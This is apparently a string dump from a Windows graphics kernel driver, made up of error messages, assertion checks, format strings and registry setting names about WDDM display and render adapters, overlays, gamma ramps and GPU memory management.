SupportMultiPlaneOverlay cap but doesn't report any overlay planes or panel fitter. Driver reports more than the supported number of overlay planes. Driver reports SupportMultiPlaneOverlay cap but does not fill in all of the required DDIs. Driver reports SupportMultiPlaneOverlay cap but DirectFlip is not supported. Driver reports support higher level of colorSpaceTransform but not lower levels on device 0x%I64x, returning 0x%I64x. ColorSpaceTransform is supported on the device 0x%I64x which does not have pfnSetTargetGamma, returning 0x%I64x. DXGGLOBAL::DeferredInitialize failed (Status = 0x%I64x). Driver cannot support only one of DdiQueryDiagnosticTypesSupport and DdiControlDiagnosticReporting. Driver reports NativeGpuFence cap when NativeFence feature is disabled, returning failure Failed to get DXGK_NATIVE_FENCE_CAPS. Status 0x%I64x m_pRenderCore == NULL Failed to create ADAPTER_RENDER on adapter 0x%I64x (Status = 0x%I64x). Render capable adapter should NOT be sessionized! m_pDisplayCore == NULL Failed to create ADAPTER_DISPLAY on adapter 0x%I64x (Status = 0x%I64x). Current adapter 0x%I64x does not have display or render capabilities (Status = 0x%I64x). Driver is compiled against DXGKDDI_INTERFACE_VERSION_WDDM2_0_M2_2_1 or greater, but does not fill in the pfnCalibrateGpuClock or pfnSetStablePowerState DDI. Driver reports WDDM version 1.2 but does not implement all mandatory WDDM 1.2 full adapter features. Failed to initialize power management for the adapter 0x%I64x (Status = 0x%I64x). WDDM 1.3 driver must support independent flip. Failed to allocate MockDriverState object Failed to initialize MockDriverState object Failed to allocate VSync Phase Timer state Failed to initialize CABC State Failed to send Stop WNF for Adapter=0x%I64x with Status=0x%I64x pTdrContext OldDdiAccess != 0 this->IsRenderAdapter() OldCoreAccess != 0 IsStopResetLockExclusiveOwner() this->IsBddFallbackDriver() IsDisplayOnlyAdapter() !IsCoreResourceExclusiveOwner() DxDbVersion \Registry\Machine\Software\Microsoft\DirectX Invalid DDI synchronization level 0x%I64x ForceDirectFlip DisableOverlays EnableOfferReclaimOnDriver LeanMemoryLimit ForceEnableDxgMms2 ContextNoPatchMode ForceToMapGpuVa ForceAccessedPhysically Force32BitFences InitialPagingQueueFenceValue ForceInitPagingProcessVaSpace DisableGdiContextGpuVa DisablePagingContextGpuVa DisableMonitoredFenceGpuVa ForceExplicitResidencyNotification DriverManagesResidencyOverride GdiPhysicalAdapterIndex ForceReplicateGdiContent EnableTimedCalls CreateGdiPrimaryOnSlaveGpu ForceSurpriseRemovalSupport EnableDecodeMPO DisableBadDriverCheckForHwProtection ForceSecondaryMPOSupport ForceSecondaryIFlipSupport EnablePanelFitterSupport EnableMultiPlaneOverlay3DDIs DisableSecondaryIFlipSupport EnableWDDM23Synchronization IoMmuFlags DisableMultiSourceMPOCheck DriverStoreCopyMode ForceVariableRefresh DeadlockTimeout DeadlockPulse DeadlockPulseTolerance DisableIndependentVidPnVSync NumVirtualFunctions CrtcPhaseFrames EnableFbrValidation DisableBoostedVSyncVirtualization EnableBasicRenderGpuPv KnownProcessBoostMode SmallQuantumMode HighPriorityCompletionMode GpuPriorityChangeMode m_pPhysicalAdapter[PhysicalAdapterIndex].m_FrameBufferSaveAreaSection == nullptr Failed to create section object for buffer save area size. Status 0x%I64x PinFrameBufferForSave Invalid physical adapter index. Index=%u Failed to allocate memory for Mdl. Couldn't probe and lock frame buffer pin memory. Failed to add iommu memory tracker for frame buffer save area, Status=0x%.8x UnpinFrameBufferForSave Invalid physical adapter index. Index=%u pMdl != nullptr MapFrameBufferPointer Invalid physical adapter index. Index=%u MapFrameBufferPointer Size (%I64u) is not a multiple of PAGE_SIZE MapFrameBufferPointer Size (%I64u) and Offset (%I64u) is invalid. Maximum frame buffer size is %I64u UnmapFrameBufferPointer Invalid physical adapter index. Index=%u Ignoring diagnostics query for category 0x%.8x which reported overlapping types, Non-Invasive: %.8x, Invasive: %.8x Ignoring diagnostics query for category 0x%.8x which reported non-zero reserved fields, Non-Invasive: %.8x, Invasive: %.8x Classes MediaFoundation\Transforms Failed to read PnP registry key name for DeleteRegistryKeys (status = 0x%I64x). \Classes \MediaFoundation Failed to open Registry key for DeleteRegistryKeys (status = 0x%I64x). Failed to query key for VmBusGetRegistryKeys (status = 0x%I64x). Failed to append sub keys for DeleteRegistryKeys (status = 0x%I64x). Failed to insert RegPath to RegKeyList for DeleteRegistryKeys (status = 0x%I64x). Failed to read next registry path for DeleteRegistryKeys (status = 0x%I64x). Failed to delete Registry key for DeleteRegistryKeys (status = 0x%I64x). Investigate why DWM failed to initialize, contact basevid As we do not support more than one remote ID adapter we would not expect the search to fail Status == FALSE !m_Entered m_Entered m_pRenderCore != NULL m_pMutex != NULL !m_pMutex->IsOwner() IsCoreResourceExclusiveOwner() bAllowAcquireRecursive || pPushLock == NULL || !m_pPushLock->IsExclusiveOwner() EventType == EVENT_TRACE_TYPE_INFO Failed to create section object for DoD primary backing store (Status = 0x%I64x). NULL != m_pDisplaySource[VidPnSourceId].m_VidPnSourceOwner D3DKMT_VIDPNSOURCEOWNER_UNOWNED != m_pDisplaySource[VidPnSourceId].m_VidPnSourceOwnerType Failed to acquire console session mode change shared lock. Failed to get CDD device and context for adapter 0x%I64x%08I64x in console session (Status = 0x%I64x). Failed to acquire device core access shared on device 0x%I64x (Status = 0x%I64x). PresentFromCdd failed to present the existing Cdd Primary on VidPn source 0x%I64x on adapter 0x%I64x (Status = 0x%I64x). !Active || ((pDisplayModeInfo->DisplayMode.Width != 0) && (pDisplayModeInfo->DisplayMode.Height != 0)) TargetId != D3DDDI_ID_UNINITIALIZED Failed to allocate work item for delay presnet CDD primary for adapter 0x%I64x Out of memory allocating DXGKARG_SETVIDPNSOURCEADDRESS Failed to set VidPn source address on VidPn source 0x%I64x on adapter 0x%I64x (Status = 0x%I64x). Failed to set VidPn source 0x%I64x on adapter 0x%I64x to be active since there is no displayed primary, returning 0x%I64x. Failed to set VidPn source visibility on VidPn source 0x%I64x on adapter 0x%I64x (Status = 0x%I64x). NT_SUCCESS(NotificationStatus) IsCoreResourceExclusiveOwner() && pCddDevice->GetRenderAdapter()->IsCoreResourceExclusiveOwner() Current adapter 0x%I64x is no owned by current session, returning 0x%I64x. DXGPROCESS::GetCurrent()->GetEProcess() == m_pDisplaySource[VidPnSourceId].m_SessionAdapterOwner->GetOwnedSession().GetEProcessCSRSS() m_pDisplaySource[VidPnSourceId].m_pCddShadowAllocation != NULL Failed to destroy the existing CDD allocations on DXGDEVICE 0x%I64x VidPn source 0x%I64x (Status = 0x%I64x). (m_pDisplaySource[VidPnSourceId].m_pCddPrimaryAllocation[0] == NULL) && (m_pDisplaySource[VidPnSourceId].m_pCddShadowAllocation == NULL) NULL != CreateStandardAlloc.hResource 0 != CreateStandardAlloc.hGlobalShare (NULL != CreateStandardAlloc.hAllocation[0]) && (NULL != CreateStandardAlloc.hResource) 0 != ShadowSurfaceData.Pitch 0 != DoDShadowPitch (SectionCreationInfo.Size != 0) && (SectionCreationInfo.Section != NULL) pCoreAccess != NULL Failed to acquire device core access exclusive on device 0x%I64x (Status = 0x%I64x). Failed to create CDD primary allocations on Adapter 0x%I64x for VidPnSource 0x%I64x, (Status = 0x%I64x). Failed to acquire device core access exclusive on adapter 0x%I64x (Status = 0x%I64x). Cannot present CDD primary on an inactive source 0x%I64x on adapter 0x%I64x (status = 0x%I64x) Failed to set CDD primary on source 0x%I64x on adapter 0x%I64x via MPO3 (status = 0x%I64x) Failed to turn visibility on source 0x%I64x on adapter 0x%I64x via MPO3 (status = 0x%I64x) pDevice->GetRenderCore()->IsCoreResourceSharedOwner() VidPnSourceId < GetNumVidPnSources() !Visible || IsVidPnSourceActive(VidPnSourceId) Failed to disable scanning from primary on source 0x%I64x on adapter 0x%I64x (status = 0x%I64x) Device 0x%I64x: Invalid Output (0x%I64x) specified, returning 0x%I64x Device 0x%I64x: Invalid parameter (0x%I64x 0x%I64x 0x%I64x) specified, returning 0x%I64x Console session is trying to acquire ownership of a session adapter, device 0x%I64x, RemoteSession = 0x%I64x, bIsAdapterSessionized = 0x%I64x, AdapterSessionId = 0x%I64x, returning 0x%I64x Remote session trying acquire ownership of a different sessions adapter, device 0x%I64x, AdapterSession = 0x%I64x, Current Session = 0x%I64x (pRenderAdapter != NULL) && (pRenderAdapter->GetRenderCore()->IsCoreResourceExclusiveOwner()) Device 0x%I64x: Invalid OwnerType (0x%I64x 0x%I64x 0x%I64x) specified, returning 0x%I64x Device 0x%I64x: Invalid VidPnSourceId (0x%I64x 0x%I64x 0x%I64x) specified, returning 0x%I64x pDevice->GetDisplayAdapter(pVidPnSourceId[i]) == this->GetAdapter() Device 0x%I64x: All VidPnSourceId have to be distinct but entry 0x%I64x and 0x%I64x have identical value of 0x%I64x, returning 0x%I64x Device 0x%I64x: Legacy device can't acquire D3DKMT_VIDPNSOURCEOWNER_SHARED (0x%I64x 0x%I64x 0x%I64x), returning 0x%I64x Device 0x%I64x: No-Legacy device can't acquire D3DKMT_VIDPNSOURCEOWNER_EXCLUSIVEGDI(0x%I64x 0x%I64x 0x%I64x), returning 0x%I64x Device 0x%I64x: VidPn 0x%I64x can't change owner type from 0x%I64x to 0x%I64x, returning 0x%I64x D3DKMT_VIDPNSOURCEOWNER_UNOWNED == m_pDisplaySource[pVidPnSourceId[i]].m_VidPnSourceOwnerType m_pDisplaySource[pVidPnSourceId[i]].m_VidPnSourceOwnerType == pVidPnSourceOwnerType[i] (D3DKMT_VIDPNSOURCEOWNER_SHARED == m_pDisplaySource[pVidPnSourceId[i]].m_VidPnSourceOwnerType) && (D3DKMT_VIDPNSOURCEOWNER_SHARED != pVidPnSourceOwnerType[i]) pSessionData != NULL Failed to restore CDD mode on adapter 0x%I64x VidPn source 0x%I64x (Status = 0x%I64x). Failed in restoring copy protection on adapter 0x%I64x VidPnSourceId 0x%I64x %08I64x (Status = 0x%I64x) this->IsCoreResourceExclusiveOwner() this->GetAdapter() == pDevice->GetDisplayAdapter(VidPnSourceId) (pRenderAdapter != NULL) && pRenderAdapter->IsRenderAdapter() && pRenderCore->IsCoreResourceExclusiveOwner() this->GetAdapter() == pRenderAdapter Adapter 0x%I64x: Out of memory allocating DXGKARG_SETVIDPNSOURCEADDRESS pPrimaryAllocation != NULL Status=0x%I64x Adapter 0x%I64x: DdiSetVidPnSourceAddress failed 0x%I64x 0x%I64x Status=0x%I64x Adapter 0x%I64x: SetVidPnSourceVisibility TRUE failed 0x%I64x \Registry\Machine\Software\Microsoft\Windows\Dwm this->GetAdapter()->IsXBoxOneDevice() || this->GetAdapter()->IsSoftGPU() Failed to purge the cached IDD display config request for session 0x%I64x, (Status = 0x%I64x). pDevice->GetRenderCore()->IsCoreResourceExclusiveOwner() IsVidPnSourceOwner(pDevice) || IsEmulatedVidPnSourceOwner(pDevice) IsVidPnSourceOwner(pDevice, VidPnSourceId) || IsEmulatedVidPnSourceOwner(pDevice, VidPnSourceId) IsVidPnSourceOwner(pDevice) ((!pRenderCore) || (pRenderCore->IsCoreResourceExclusiveOwner())) pDevice != NULL (pDxgAllocation != NULL) && (pDxgAllocation->m_pAllocation != NULL) pDxgAllocation->m_pAllocation->m_CddPrimary || pDxgAllocation->m_pAllocation->m_Primary Failed to turn Visibility on VidPn source 0x%I64x on adapter 0x%I64x (Status = 0x%I64x). pDxgAllocation->m_pAllocation->m_CddPrimary pDxgAllocation->m_pAllocation->m_hVidMmAllocation != NULL pCurrentAlloc->m_pAllocation != NULL pCurrentAlloc->m_pAllocation->m_Primary pDevice->GetDisplayedPrimary(VidPnSourceId) != pCurrentAlloc !pCurrentAlloc->m_pAllocation->m_Invalidated (pDevice != NULL) && !pDevice->IsCddDevice() (VidPnSourceId == D3DDDI_ID_ALL) || (VidPnSourceId < GetNumVidPnSources()) pRenderCore != NULL pRenderCore->IsCoreResourceExclusiveOwner() pRenderCore->GetAdapter()->IsActive() || pRenderCore->GetAdapter()->RemovePending() NTSTATUS:0x%I64x ADAPTER_DISPLAY:0x%I64x SetVidPnSourceVisibility failed disabling VidPnSourceId 0x%I64x pAllocation != NULL pAllocation->m_CddPrimary pAllocation->m_VidPnSourceId == VidPnSourceId pAllocation->m_hVidMmAllocation != NULL pRenderCore == pDevice->GetRenderCore() !m_OpmI2CMutex.IsOwner() m_OpmI2CMutex.IsOwner() m_PristineCursor.pPixels == NULL m_SavedCursor.pPixels == NULL m_ClippedCursor.pPixels == NULL Driver reported USB4 monitor support but did not expose all targets as PoFx components i_pAdapter != NULL o_ppDisplayCore != NULL Not all the display relevant DDIs for full WDDM on adapter 0x%I64x are implemented 0x%I64x). Not all the display only relevant DDIs on adapter 0x%I64x are implemented (Status = 0x%I64x). Either both GetScanLine & ControlInterrupts must be implemented or neither, on adapter 0x%I64x are implemented (Status = 0x%I64x). Not all the display relevant DDIs on adapter 0x%I64x are NULL (Status = 0x%I64x). Number of VidPn Source 0x%I64x or Target 0x%I64x are not 0 on render only adapter 0x%I64x (Status = 0x%I64x). Miniport did not provide required DDIs on adapter 0x%I64x (Status = 0x%I64x). Adapter 0x%I64x: Incorrect number of targets 0x%I64x Driver reports WDDM version 1.2 but does not implement all mandatory WDDM 1.2 display features. Out of memory allocating ADAPTER_DISPLAY class, returning 0x%I64x Adapter 0x%I64x: Both HdrFP16ScanoutSupport and HdrARGB10ScanoutSupport can't be set to 1 at the same time Failed to allocate 0x%I64x of display sources for adapter 0x%I64x, returning 0x%I64x Status == STATUS_OBJECT_NAME_NOT_FOUND Invalid hot-plug filter limit of %#x on adapter 0x%I64x. Using default of %#x. Miniport driver wants t fallback to use DdiCommitVidPn but it does not supply pfnCommitVidPn on adapter (0x%I64x%08I64x), returning 0x%I64x. ForceEnableDWMClone GetAdapter()->GetAdapterVendorId() != VENDOR_ID_QUALCOMM EnableVirtualTopologySupport Force to stop adapter (0x%I64x%08I64x) due to target ID does not support reduced hash size and registry requested to use virtual topologies, returning 0x%I64x. NT_SUCCESS(TmpStatus) Failed to create adapter VidPnSourceUsedBySession event object. IsListEmpty(&m_OpmHandleMappingList) pProtectionKey != NULL pProcess->IsCopyProtectionMutexOwner() ExUuidCreate failed, returning 0x%I64x Out of memory allocating DXGCOPYPROTECTION class, returning 0x%I64x pOutputDisplayModeList != NULL pInputDisplayModeList != NULL IsCoreResourceExclusiveOwner() || m_pDisplaySource[pInputDisplayModeList->VidPnSourceId].m_CachedModeListLock.IsExclusiveOwner() Failed to allocate LUID for mode cache, returning 0x%I64x IsCoreResourceExclusiveOwner() || (IsCoreResourceSharedOwner() && m_pDisplaySource[VidPnSourceId].m_CachedModeListLock.IsExclusiveOwner()) pCurModeSupportsStereo && pStereoExists Caller specified invalid parameters or invalid VidPN source ID. pCurModeSupportsStereo=0x%I64x, pStereoExists=0x%I64x, VidPnSourceId=0x%I64x (value should be less than 0x%I64x). Returning 0x%I64x pDisplayModeList != NULL pDisplayModeList->VidPnSourceId < GetNumVidPnSources() pDisplayModeList->pModeList == NULL OPM passed in an invalid hOpmAdapterHandle! !(DesiredAccess & EVENT_MODIFY_STATE) Failed to allocate SyncLock VSync Drift telemetry buffer. Invalid number of wait objects in ADAPTER_DISPLAY::WaitForEventsOrVerticalBlankEvent, returning 0x%I64x Device 0x%I64x: Unable to allocate gamma ramp. Failed to suspend scheduler for setting gammaramp in adapter 0x%I64x Failed to DXGI gamma ramp, (Status == 0x%I64x)! NULL != ppDxgiGammaRamp VidPnSourceId != D3DDDI_ID_UNINITIALIZED Failed to get primary allocation description, marking Cdd primary 0x%I64x as having invalid PrivateDriverData Failed to get private driver data for primary, marking Cdd primary 0x%I64x as having invalid PrivateDriverData (Type == ROTATION_MODE_TYPE_HARDWARE) || (Type == ROTATION_MODE_TYPE_SOFTWARE) || (Type == ROTATION_MODE_TYPE_OVERALL) m_DisplayModeInfo does not have a valid rotation mode (0x%I64x) on adapter 0x%I64x! this->GetAdapter()->IsCoreResourceExclusiveOwner() Swap-chain handle (0x%I64x) is invalid Got zero LUID for swapchain render adapter Luid Dod driver failed SetSwapChainHandle call with 0x%I64x SetSwapChain function not supported by Dod driver GetOpmMftContext function not supported by Dod driver Dod driver failed DodGetOpmMftContext call with 0x%I64x Dod driver failed DxgiIddDdiGetIdRenderAdapter call with 0x%I64x Invalid modes already activated. Adapter 0x%I64x: Out of memory allocating m_pCachedInvalidDisplayModeList Trying to get invalid display mode list but haven't activated it yet. Failed to send mode change request to GDI for final mode change on adapter 0x%I64x Failed to notify WNF clients of a monitor change for final mode change on adapter 0x%I64x Did not find the corresponding session ID for adapter 0x%I64x m_DisplayCalloutBatchStarted pQueue->HeadIndex != CONFIG_INDEX_INVALID pQueue->TailIndex != CONFIG_INDEX_INVALID PlaneIndex < m_MaxPlanesUsed !IsDisplayPlaneConfigQueueEmpty(&m_PlaneConfigurationQueue[PlaneIndex]) IsDisplayStateMutexOwner() Failed to disable MPO plane 0x%I64x in SetVidPnSourceVisibility, VidPnSourceId: 0x%I64x, Adapter 0x%I64x Client is trying to release a destroyed object (ref count = %I64d)! Invalide GAMMA Ramp type 0x%I64x. Reference counted instance being destroyed still has %I64d outstanding references on it! IsCopyProtectionMutexOwner() m_DesktopVidPnCount > 0 NULL == ReadPointerNoFence(&m_OwningThread) (m_pAdapter->GetSchedulerSuspendSourceMask() & SourceMask) == SourceMask VidSchInitializeComponentPowerManagement failed with status:0x%I64x VidMmInitializeSegmentPowerManagement failed with status:0x%I64x o_ppRenderCore != NULL Not all the render relevant DDIs are NULL. Create, Update, Flip and DestroyOverlay should all be supplied if any one of them is Miniport did not provide required DDIs for WDDM v1.x Miniport did not provide RenderKm function but reported PresentationCaps.SupportKernelModeCommandBuffer cap Miniport set the NoCacheCoherentApertureMemory cap on non-ARM architecture Driver reports WDDM version 1.2 but does not implement all mandatory WDDM 1.2 render features. Driver reports WDDM version 2.0 or higher but does not support FlipOnVSyncMmIo cap. The caps value is 0x%x Driver reports WDDM 1.3 driver, but does not support node metadata. Driver reports WDDM 2.4 driver with IoMmuSecureMode support, but does not support Begin/EndExclusiveAccess DDIs. Driver reports WDDM 3.2 driver with DirtyBitTracking support, but does not support required DDIs. Out of memory allocating ADAPTER_RENDER class, returning 0x%I64x FileRepository Adapter 0x%I64x: Invalidly formatted user mode driver name, returning 0x%I64x Adapter 0x%I64x: Invalidly formatted user mode display driver name, returning 0x%I64x Adapter 0x%I64x: Invalid user mode driver name, returning 0x%I64x Adapter 0x%I64x: Unsupported display driver model, returning 0x%I64x Failed to allocate m_pGpuMmuCaps Adapter 0x%I64x: Failed to query GpuMmu caps, returning 0x%I64x GpuMmu.VirtualAddressBitCount is invalid. It should be from %d to %d Virtual address bit count must be the same on all physical adapters GpuMmu.PageDirectoryCount is invalid. It should be from 2 to DXGK_MAX_PAGE_TABLE_LEVEL_COUNT Adapter 0x%I64x: Failed to query page table level descriptor, returning 0x%I64x Adapter 0x%I64x: Page table alignment of level %d must be power of 2 Adapter 0x%I64x: Failed to allocate pNodeMetadata Adapter 0x%I64x: Failed to allocate pNodePerfData Adapter 0x%I64x: Failed to allocate pNodePerfDataQueryTimes Adapter 0x%I64x: Driver reported failure getting node metadata with valid parameters. Adapter 0x%I64x, Node 0x%I64x: Driver reported ContextScheduling support for a node, but it doesn't support GPU VA. Adapter 0x%I64x, Node 0x%I64x: Driver reported ContextScheduling support for a node, but the OS didn't allow HwSch to be enabled. Adapter 0x%I64x: UserModeSubmission is only supported on WDDM3.1 and above. Adapter 0x%I64x, Node 0x%I64x: Driver reported UserModeSubmission support for a node which doesn't support ContextScheduling. Adapter 0x%I64x, Node 0x%I64x: Driver reported UserModeSubmission support, but the OS didn't allow UserModeSubmission to be enabled. Adapter 0x%I64x, Node 0x%I64x: Driver reported UserModeSubmission support, but NativeGpuFence cap is not set. Driver reports UserModeSubmission support, but does not support all relevant Doorbell DDIs. Adapter 0x%I64x, Node 0x%I64x: Driver should not set reserved bits. Adapter 0x%I64x, Node 0x%I64x: Driver reported GpuMmu support for a node, but the adapter caps do not match. Adapter 0x%I64x, Node 0x%I64x: Driver set GpuMmuSupported, but adapter requires GpuVaIoMmu Adapter 0x%I64x, Node 0x%I64x: Driver reported IoMmu support for a node, but the adapter caps do not match. Adapter 0x%I64x, Node 0x%I64x: Driver set IoMmuSupported, but adapter requires GpuVaIoMmu Adapter 0x%I64x: Driver reported failure getting User mode submission Caps. DoorbellSize (0x%u) must be greater than 0 and less than 0x%u. DXGKQAITYPE_USERMODESUBMISSION_CAPS: Driver should not set reserved bits, returning 0x%I64x. SecondaryDoorbellSize (0x%u) must be greater than 0 and less than 0x%u. Adapter 0x%I64x: CreateSynchronizationObjectInternal failed. Returning 0x%I64x Adapter 0x%I64x: Invalid timestamp precision. Valid domain is {0, [32-64]}. Precision=%d, Node=%d Adapter 0x%I64x: Precision data is bad. Returning 0x%I64x (pDisplayAdapter == NULL) || (pDisplayAdapter->IsCoreResourceSharedOwner() && pDisplayAdapter->IsDisplayAdapter()) ppDevice != NULL Out of memory allocating DXGDEVICE class, returning 0x%I64x m_DeviceCreationLockCdd.IsExclusiveOwner() m_DeviceCreationLock.IsExclusiveOwner() !GetAdapter()->IsDisplayAdapter() || (!GetAdapter()->GetDisplayCore()->IsVidPnSourceOwner(pDevice)) GetAdapter()->IsStopResetLockExclusiveOwner() || GetAdapter()->IsTdrPending() No memory for the new Present History Token queue session table on ADAPTER_RENDER 0x%I64x for session 0x%I64x m_pVidSchGlobal ExclusiveAccessHeld || IsCoreResourceExclusiveOwner() Invalid flush reason! GetAdapter()->m_ExclusiveAccessReason == DXGADAPTER_EXCLUSIVEACCESS_FLUSHSCHEDULER (m_SourceMaskSchedulerSuspended & SourceMaskResumeScheduler) == SourceMaskResumeScheduler IsCoreResourceExclusiveOwner() || bExclusiveAccessHeld IsCoreResourceExclusiveOwner() || bAdapterLockHeld pOverlayOwner != NULL OverlayId < GetAdapter()->m_DriverCaps.MaxOverlays m_OverlayOwner[OverlayId] != NULL (UINT)umdVersion < (UINT)NUM_KMTUMDVERSIONS DXGPROCESS::GetCurrent() != NULL pFileVersion != NULL Failed to allocate memory for the user mode driver name string on adapter 0x%I64x. Failed to open the user mode driver DLL on adapter %I64d (ntStatus = %I64d). DpiGetDriverFullPath failed on adapter %I64d (ntStatus = %I64d). Failed to get kernel mode driver DLL version on adapter %I64d (ntStatus = %I64d). Status == STATUS_SUCCESS m_pFormattingBuffer == NULL Failed to query number of hardware reserved ranges. Status 0x%I64x Failed to allocate array for hardware reserved ranges. ArraySize=%u Adapter 0x%I64x: Failed to create KMD process handle for system process Adapter 0x%I64x: Failed to initialize paging process Failed to allocate memory for deferred allocation tracker, destroying allocation synchronously. pTracker (pDisplayDevice == NULL) || pDisplayDevice->GetDisplayCore()->GetChangePairedAdapterLock()->IsOwner() m_DeviceCreationLock.IsExclusiveOwner() && m_DeviceCreationLockCdd.IsExclusiveOwner() VIDMM_GLOBAL is not initialized Could not get DXGPROCESS for IndirectDisplay host process No hAdapter specified No pAdapter specified Invalid adapter synchronization level 0x%I64x DxgkSuspendMemorySegments is called on display only DXGADAPTER 0x%I64x, returning 0x%I64x. DxgkResumeMemorySegments is called on display only DXGADAPTER 0x%I64x, returning 0x%I64x. pDxgAdapter != NULL phOpmAdapterHandle != NULL pDxgAdapter->IsCoreResourceSharedOwner() pDxgAdapter->GetDisplayCore()->IsOpmI2CMutexOwner() Try to call DxgkOpmCreateHandle on a render only adapter 0x%I64x (Status = 0x%I64x)! phOpmMiniportHandle != NULL Try to call DxgkOpmGetRedirectionInfo on a non-indirect display adapter 0x%I64x! Could not find display infoSource 0x%I64x on adapter 0x%I64x! Could not find target mode info for TargetId 0x%I64x on adapter 0x%I64x! ScanLineOrder == pDisplayModeInfo->DisplayMode.ScanLineOrdering DxgkVirtualGpuOnly (pArgControlModeBehavior->Satisfied.Value & pArgControlModeBehavior->NotSatisfied.Value) == 0 KeGetCurrentIrql() > DISPATCH_LEVEL KeGetCurrentIrql() < PROFILE_LEVEL Call to DmmIsNullVidPn failed with status = 0x%I64x (hAdapter = 0x%I64x, hDesiredVidPn = 0x%I64x) Call to DmmIsNullVidPn with Null VidPn caught (hAdapter = 0x%I64x, hDesiredVidPn = 0x%I64x) (pArgKmOpenAllocation->pOpenAllocation->hDeviceSpecificAllocation != NULL) || !NT_SUCCESS(Status) Exception encountered in pfnRenderGdi: EXCEPTION_POINTERS 0x%I64x Exception encountered in pfnRenderGdi: returning 0x%I64x The driver failed DxgkDdiDsiCaps. Status: 0x%I64x The driver failed DxgkDdiDsiTransmission. Status: 0x%I64x The driver failed DxgkDdiDsiReset. Status: 0x%I64x The driver failed DxgkDdiGetDisplayStateNonIntrusive. Status: 0x%I64x The driver failed DdiGetDisplayStateIntrusive. Status: 0x%I64x The driver failed DxgkDdiQueryDPCaps. Status: 0x%I64x The driver failed DxgkDdiGetDPAddress. Status: 0x%I64x The driver failed DxgkDdiDPAuxIoTransmission. Status: 0x%I64x The driver failed DxgkDdiDPI2CIoTransmission. Status: 0x%I64x The driver failed DxgkDdiDPSBMTransmission. Status: 0x%I64x The driver failed DxgkDdiDestroyMemoryBasis. Status: 0x%I64x The driver failed DxgkDdiStartDirtyTracking. Status: 0x%I64x The driver failed DxgkDdiStopDirtyTracking. Status: 0x%I64x The driver failed DxgkDdiQueryDirtyBitData. Status: 0x%I64x Failed to open a handle on adapter 0x%I64x (ntStatus = 0x%I64x). (pAdapterInfo->NumOfSources == 0) || !DxgIsRemoteSessionUsingWddmMonitors() || !pAdapter->IsFullWDDMAdapter() EnumAdaptersInternal.NumAdapters <= MAX_ENUM_ADAPTERS EnumAdaptersInternal.NumAdapters <= EnumAdaptersInternal.AdaptersBufferCount EnumAdaptersInternal.NumAdapters <= EnumAdaptersInternal.RequiredAdaptersBufferCount DxgkEnumAdaptersInternal failed, returning 0x%I64x Failed to iterate all the adapters (ntStatus = 0x%I64x). DxgkEnumAdapters2 caller specified NULL D3DKMT_ENUMADAPTERS2, returning 0x%I64x Failed to allocate memory for wdTimeoutReport EnumAdaptersInternal.NumAdapters <= EnumAdapters.NumAdapters DxgkEnumAdapters3 caller specified NULL D3DKMT_ENUMADAPTERS3, returning 0x%I64x pEnumAdapters != NULL Failed to wait for PnP notification on current session (ntStatus = 0x%I64x). pEnumAdapters->NumAdapters <= pEnumAdapters->AdaptersBufferCount pEnumAdapters->NumAdapters <= pEnumAdapters->RequiredAdaptersBufferCount pMonitorPendingEvent == NULL Failed in disabling mode reset on monitor event (Status == 0x%I64x)! Monitor pending event wait has been timeouted! Failed in waiting for pending monitor event (Status == 0x%I64x)! Failed in re-enabling mode reset on monitor event (Status == 0x%I64x)! Failed in acquiring adapter core access lock, (Status == 0x%I64x)! \System32\ \filerepository\ HostDriverStore Not valid to provide pAdapter when calling from usermode, return 0x%I64x (pRenderAdapter == pAdapterIn) || (pDisplayAdapter == pAdapterIn) (pDisplayAdapter != NULL) && (pDisplayAdapter->IsDisplayAdapter()) CopyIcdFileName failed with 0x%I64x pAdapterIn->GetFdo() != NULL Qualcomm Adreno 530 Invalid hDevice (0x%I64x) specified (pDisplayAdapter != NULL) && pDisplayAdapter->IsDisplayAdapter() Current session 0x%I64x has just been switched to remote session , returning 0x%I64x. Failed to get CDD device and context on adapter 0x%I64x for current session (Status = 0x%I64x). Getting Shared Primary Handle on not used VidPn source 0x%I64x on adapter 0x%I64x%08I64x in current session. Ownership has been changed to 0x%I64x on VidPn source 0x%I64x on adapter 0x%I64x%08I64x. Failed to delay create CDD primary on adapter 0x%I64x (Status = 0x%I64x). pQueryStatistics pProcess->IsMutexOwner() || pProcess == DXGPROCESS::GetCurrent() Try to call query process statistics on a display only adapter 0x%I64x (Status = 0x%I64x)! Host adapter failed the call. hAdapter (0x%I64x) specified, returning 0x%I64x pRenderAdapter->GetRenderCore()->GetVidMmExport() pRenderAdapter->GetRenderCore()->GetVidSchExport() Try to collect core debug information without adapter (Status = 0x%I64x)! DxgkCheckMonitorPowerState is not called from a valid session (session ID = 0x%I64x), returning 0x%I64x DxgkCheckVidPnExclusiveOwnership is not called from a valid session (session ID = 0x%I64x), returning 0x%I64x Failed to get pairing adapters from adapter 0x%I64x for DxgkGetPresentHistoryReadyEvent (Status = 0x%I64x)! (pRenderAdapter != NULL) && (pDisplayAdapter != NULL) pDisplayAdapter == pRenderAdapter (pRenderAdapter != nullptr) && (pDisplayAdapter != nullptr) KeAreApcsDisabled() pDisplayAdapter != NULL NULL != pAdapterIn NULL != pDisplayAdapter Caller specified a NULL pointer in pModeListCacheLuid in DxgkQueryModeListCacheLuid function. Failed to reference adapter by LUID (0x%I64x%08I64x) in DxgkQueryModeListCacheLuid function. Failed to acquire shared lock on DxgkAdapter 0x%I64x (Status = 0x%I64x). Caller specified an invalid VidPnSourceId 0x%I64x on DxgAdapter 0x%I64x. Failed to find the render adapter for display only adapter 0x%I64x (Status = 0x%I64x). Caller specified event handle (0x%I64x) is not an valid event handle. Failed to allocate buffer for LocalDeviceName, returning 0x%I64x Caller specifies a NULL pHasMonitorConnected in DxgkIsMonitorConnected function. Failed to reference adapter by LUID (0x%I64x%08I64x) in DxgkIsMonitorConnected function. !pAdapter->IsCoreResourceSharedOwner() Caller specified adapter (0x%I64x%08I64x) in DxgkIsMonitorConnected function is NOT a display adapter. Failed to check monitor connectivity on target 0x%I64x from adapter 0x%I64x0x%I64x with status (0x%I64x) Failed to get monitor handle on target 0x%I64x from adapter 0x%I64x0x%I64x with status (0x%I64x) Failed to check monitor HMD state on monitor 0x%I64x with status (0x%I64x) !pAdapterIn->IsCoreResourceSharedOwner() Fail to get CDD device on DXGADAPTER 0x%I64x%08I64x (Status = 0x%I64x). Failed in restoring copy protection on VidPnSourceId 0x%I64x on adapter 0x%I64x%08I64x (status = 0x%I64x) pfnDxgkEngGetWindowRect failed to get window rect from a window handle Failed to setfullscreen gamma ramp, (Status == 0x%I64x)! 